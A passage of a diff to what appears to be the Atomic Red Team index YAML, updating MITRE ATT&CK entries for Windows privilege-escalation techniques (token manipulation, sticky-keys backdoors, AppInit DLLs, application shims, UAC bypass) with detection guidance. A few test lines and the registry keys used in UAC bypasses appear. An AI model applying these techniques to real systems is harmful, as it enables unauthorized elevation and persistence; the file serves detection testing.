Retrieved April 21, 2017. + url: https://technet.microsoft.com/en-us/library/bb490994.aspx + - source_name: Pentestlab Token Manipulation + description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April + 21, 2017. + url: https://pentestlab.blog/2017/04/03/token-manipulation/ + - source_name: BlackHat Atkinson Winchester Token Manipulation + description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is + No One: Hunting for Token Manipulation. Retrieved December 21, 2017.' + url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf + - source_name: Metasploit access token + description: Offensive Security. (n.d.). What is Incognito. Retrieved April + 21, 2017. + url: https://www.offensive-security.com/metasploit-unleashed/fun-incognito/ + - source_name: Cobalt Strike Access Token + description: Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. + Retrieved April 21, 2017. + url: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/ + - source_name: Microsoft Command-line Logging + description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved + April 21, 2017. + url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing + - source_name: Microsoft LogonUser + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx + - source_name: Microsoft DuplicateTokenEx + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx + - source_name: Microsoft ImpersonateLoggedOnUser + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx + modified: '2019-10-14T20:45:04.451Z' identifier: T1134 atomic_tests: - name: Access Token Manipulation @@ -10554,53 +10834,13 @@ privilege-escalation: . .\src\T1134.ps1 T1015: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1015 - source_name: mitre-attack - external_id: T1015 - - url: https://capec.mitre.org/data/definitions/558.html - source_name: capec - external_id: CAPEC-558 - - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ - source_name: Tilbury 2014 - description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. - Retrieved November 12, 2014. - - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html - source_name: FireEye Hikit Rootkit - description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT: - ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.' - - url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom - source_name: DEFCON2016 Sticky Keys - description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to - the Kingdom. Retrieved July 5, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Paul Speulstra, AECOM Global Security Operations Center + x_mitre_permissions_required: + - Administrator x_mitre_data_sources: - Windows Registry - File monitoring - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Changes to accessibility utility binaries or binary paths - that do not correlate with known software, patch cycles, etc., are suspicious. - Command line invocation of tools capable of modifying the Registry for associated - keys are also suspicious. Utility arguments and the binaries themselves should - be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows - NT\CurrentVersion\Image File Execution Options. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3 name: Accessibility Features - created: '2017-05-31T21:30:26.946Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. @@ -10619,10 +10859,50 @@ privilege-escalation: * Narrator: C:\Windows\System32\Narrator.exe * Display Switcher: C:\Windows\System32\DisplaySwitch.exe * App Switcher: C:\Windows\System32\AtBroker.exe + id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Changes to accessibility utility binaries or binary paths + that do not correlate with known software, patch cycles, etc., are suspicious. + Command line invocation of tools capable of modifying the Registry for associated + keys are also suspicious. Utility arguments and the binaries themselves should + be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows + NT\CurrentVersion\Image File Execution Options. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Paul Speulstra, AECOM Global Security Operations Center + created: '2017-05-31T21:30:26.946Z' x_mitre_effective_permissions: - SYSTEM - x_mitre_permissions_required: - - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1015 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1015 + - source_name: capec + external_id: CAPEC-558 + url: https://capec.mitre.org/data/definitions/558.html + - source_name: FireEye Hikit Rootkit + description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT: + ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.' + url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html + - source_name: DEFCON2016 Sticky Keys + description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to + the Kingdom. Retrieved July 5, 2017. + url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom + - source_name: Tilbury 2014 + description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. + Retrieved November 12, 2014. + url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ + modified: '2019-07-16T19:07:04.652Z' identifier: T1015 atomic_tests: - name: Attaches Command Prompt As Debugger To Process - osk @@ -10760,79 +11040,15 @@ privilege-escalation: ' '': technique: - external_references: - - url: https://attack.mitre.org/techniques/T1078 - source_name: mitre-attack - external_id: T1078 - - external_id: CAPEC-560 - source_name: capec - url: https://capec.mitre.org/data/definitions/560.html - - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts - source_name: Microsoft Local Accounts Feb 2019 - description: Microsoft. (2018, December 9). Local Accounts. Retrieved February - 11, 2019. - - url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh - source_name: Metasploit SSH Module - description: undefined. (n.d.). Retrieved April 12, 2019. - - url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Credential Theft - description: Microsoft. (2016, April 15). Attractive Accounts for Credential - Theft. Retrieved June 3, 2016. - - url: https://technet.microsoft.com/en-us/library/dn487457.aspx - source_name: TechNet Audit Policy - description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved - June 3, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - type: attack-pattern - x_mitre_contributors: - - Mark Wee - - Praetorian x_mitre_data_sources: + - AWS CloudTrail logs + - Stackdriver logs - Authentication logs - Process monitoring - modified: '2019-04-16T20:36:46.182Z' - x_mitre_detection: "Configure robust, consistent account activity audit policies - across the enterprise and with externally accessible services. (Citation: - TechNet Audit Policy) Look for suspicious account behavior across systems - that share accounts, either user, admin, or service accounts. Examples: one - account logged into multiple systems simultaneously; multiple accounts logged - into the same machine simultaneously; accounts logged in at odd times or outside - of business hours. Activity may be from interactive login sessions or process - ownership from accounts being used to execute binaries on a remote system - as a particular account. Correlate other security systems with login information - (e.g., a user has an active login session but has not entered the building - or does not have VPN access).\n\nPerform regular audits of domain and local - system accounts to detect accounts that may have been created by an adversary - for persistence. Checks on these accounts could also include whether default - accounts such as Guest have been activated. These audits should also include - checks on any appliances and applications for default credentials or SSH keys, - and if any are discovered, they should be updated immediately. " - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: initial-access - kill_chain_name: mitre-attack - id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 + x_mitre_permissions_required: + - User + - Administrator name: Valid Accounts - created: '2017-05-31T21:31:00.645Z' - x_mitre_version: '1.1' - x_mitre_defense_bypassed: - - Firewall - - Host intrusion prevention systems - - Network intrusion detection system - - Process whitelisting - - System access controls - - Anti-virus description: "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining @@ -10866,47 +11082,107 @@ privilege-escalation: may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)" - x_mitre_effective_permissions: - - User - - Administrator - x_mitre_permissions_required: - - User - - Administrator - atomic_tests: [] - T1103: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1103 - source_name: mitre-attack - external_id: T1103 - - url: https://support.microsoft.com/en-us/kb/197571 - source_name: AppInit Registry - description: Microsoft. (2006, October). Working with the AppInit_DLLs registry - value. Retrieved July 15, 2015. - - url: https://msdn.microsoft.com/en-us/library/dn280412 - source_name: AppInit Secure Boot - description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July - 15, 2015. - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' + id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 + modified: '2019-10-23T14:22:11.800Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + - AWS + - GCP + - Azure + - SaaS + - Office 365 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Secure boot disabled on systems running Windows 8 and later - x_mitre_permissions_required: + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: "Configure robust, consistent account activity audit policies + across the enterprise and with externally accessible services. (Citation: + TechNet Audit Policy) Look for suspicious account behavior across systems + that share accounts, either user, admin, or service accounts. Examples: one + account logged into multiple systems simultaneously; multiple accounts logged + into the same machine simultaneously; accounts logged in at odd times or outside + of business hours. Activity may be from interactive login sessions or process + ownership from accounts being used to execute binaries on a remote system + as a particular account. Correlate other security systems with login information + (e.g., a user has an active login session but has not entered the building + or does not have VPN access).\n\nPerform regular audits of domain and local + system accounts to detect accounts that may have been created by an adversary + for persistence. Checks on these accounts could also include whether default + accounts such as Guest have been activated. These audits should also include + checks on any appliances and applications for default credentials or SSH keys, + and if any are discovered, they should be updated immediately. " + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Netskope + - Mark Wee + - Praetorian + created: '2017-05-31T21:31:00.645Z' + x_mitre_effective_permissions: + - User - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: initial-access + external_references: + - external_id: T1078 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1078 + - source_name: capec + external_id: CAPEC-560 + url: https://capec.mitre.org/data/definitions/560.html + - description: Microsoft. (2018, December 9). Local Accounts. Retrieved February + 11, 2019. + source_name: Microsoft Local Accounts Feb 2019 + url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts + - description: undefined. (n.d.). Retrieved April 12, 2019. + source_name: Metasploit SSH Module + url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh + - source_name: TechNet Credential Theft + description: Microsoft. (2016, April 15). Attractive Accounts for Credential + Theft. Retrieved June 3, 2016. + url: https://technet.microsoft.com/en-us/library/dn535501.aspx + - source_name: TechNet Audit Policy + description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved + June 3, 2016. + url: https://technet.microsoft.com/en-us/library/dn487457.aspx + x_mitre_defense_bypassed: + - Firewall + - Host intrusion prevention systems + - Network intrusion detection system + - Process whitelisting + - System access controls + - Anti-virus + atomic_tests: [] + T1103: + technique: x_mitre_data_sources: - Loaded DLLs - Process monitoring - Windows Registry - modified: '2018-10-17T00:14:20.652Z' + x_mitre_permissions_required: + - Administrator + name: AppInit DLLs + description: |- + Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) + + The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) + id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Secure boot disabled on systems running Windows 8 and later + type: attack-pattern x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate @@ -10921,25 +11197,37 @@ privilege-escalation: such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41 - name: AppInit DLLs created: '2017-05-31T21:31:15.409Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) - - The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) x_mitre_effective_permissions: - Administrator - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1103 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1103 + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: AppInit Registry + description: Microsoft. (2006, October). Working with the AppInit_DLLs registry + value. Retrieved July 15, 2015. + url: https://support.microsoft.com/en-us/kb/197571 + - source_name: AppInit Secure Boot + description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July + 15, 2015. + url: https://msdn.microsoft.com/en-us/library/dn280412 + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-16T19:09:25.240Z' identifier: T1103 atomic_tests: - name: Install AppInit Shim @@ -10962,51 +11250,15 @@ privilege-escalation: ' T1138: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1138 - source_name: mitre-attack - external_id: T1138 - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf - source_name: Black Hat 2015 App Shim - description: Pierce, Sean. (2015, November). Defending Against Malicious Application - Compatibility Shims. Retrieved June 22, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - Loaded DLLs - System calls - Windows Registry - Process monitoring - Process command-line parameters - modified: '2019-04-03T15:00:20.430Z' - x_mitre_detection: |- - There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): - - * Shim-Process-Scanner - checks memory of every running process for any Shim flags - * Shim-Detector-Lite - detects installation of custom shim databases - * Shim-Guard - monitors registry for any shim installations - * ShimScanner - forensic tool to find active shims in memory - * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) - - Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566 + x_mitre_permissions_required: + - Administrator name: Application Shimming - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application @@ -11032,8 +11284,44 @@ privilege-escalation: utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc." - x_mitre_permissions_required: - - Administrator + id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): + + * Shim-Process-Scanner - checks memory of every running process for any Shim flags + * Shim-Detector-Lite - detects installation of custom shim databases + * Shim-Guard - monitors registry for any shim installations + * ShimScanner - forensic tool to find active shims in memory + * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) + + Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1138 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1138 + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: Black Hat 2015 App Shim + description: Pierce, Sean. (2015, November). Defending Against Malicious Application + Compatibility Shims. Retrieved June 22, 2017. + url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf + modified: '2019-07-16T19:24:57.985Z' identifier: T1138 atomic_tests: - name: Application Shim Installation @@ -11058,99 +11346,99 @@ privilege-escalation: sdbinst.exe -u #{file_path} T1088: technique: + x_mitre_data_sources: + - System calls + - Process monitoring + - Authentication logs + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + name: Bypass User Account Control + description: |- + Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) + + If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected. + + Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as: + + * eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) + + Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass) + id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be + modified: '2019-07-16T20:28:55.134Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes. + + Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: + + * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass) + * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) + + Analysts should monitor these Registry settings for unauthorized changes. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + - Casey Smith + created: '2017-05-31T21:31:07.462Z' + x_mitre_effective_permissions: + - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: privilege-escalation external_references: - - url: https://attack.mitre.org/techniques/T1088 + - external_id: T1088 source_name: mitre-attack - external_id: T1088 - - url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html - source_name: Davidson Windows - description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November - 12, 2014. - - url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works - source_name: TechNet How UAC Works + url: https://attack.mitre.org/techniques/T1088 + - source_name: TechNet How UAC Works description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. - - url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass - source_name: SANS UAC Bypass - description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June - 3, 2016. - - url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx - source_name: TechNet Inside UAC + url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works + - source_name: TechNet Inside UAC description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.' - - url: https://msdn.microsoft.com/en-us/library/ms679687.aspx - source_name: MSDN COM Elevation + url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx + - source_name: MSDN COM Elevation description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. - - url: https://github.com/hfiref0x/UACME - source_name: Github UACMe + url: https://msdn.microsoft.com/en-us/library/ms679687.aspx + - source_name: Davidson Windows + description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November + 12, 2014. + url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html + - source_name: Github UACMe description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. - - url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - source_name: enigma0x3 Fileless UAC Bypass + url: https://github.com/hfiref0x/UACME + - source_name: enigma0x3 Fileless UAC Bypass description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. - - url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware - source_name: Fortinet Fareit + url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ + - source_name: Fortinet Fareit description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. - - url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ - source_name: enigma0x3 sdclt app paths + url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware + - source_name: SANS UAC Bypass + description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June + 3, 2016. + url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass + - source_name: enigma0x3 sdclt app paths description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. - - url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ - source_name: enigma0x3 sdclt bypass + url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ + - source_name: enigma0x3 sdclt bypass description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Stefan Kanthak - - Casey Smith - x_mitre_data_sources: - - System calls - - Process monitoring - - Authentication logs - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes. - - Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: - - * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass) - * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) - - Analysts should monitor these Registry settings for unauthorized changes. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack + url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ x_mitre_defense_bypassed: - Windows User Account Control - id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be - name: Bypass User Account Control - created: '2017-05-31T21:31:07.462Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) - - If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. 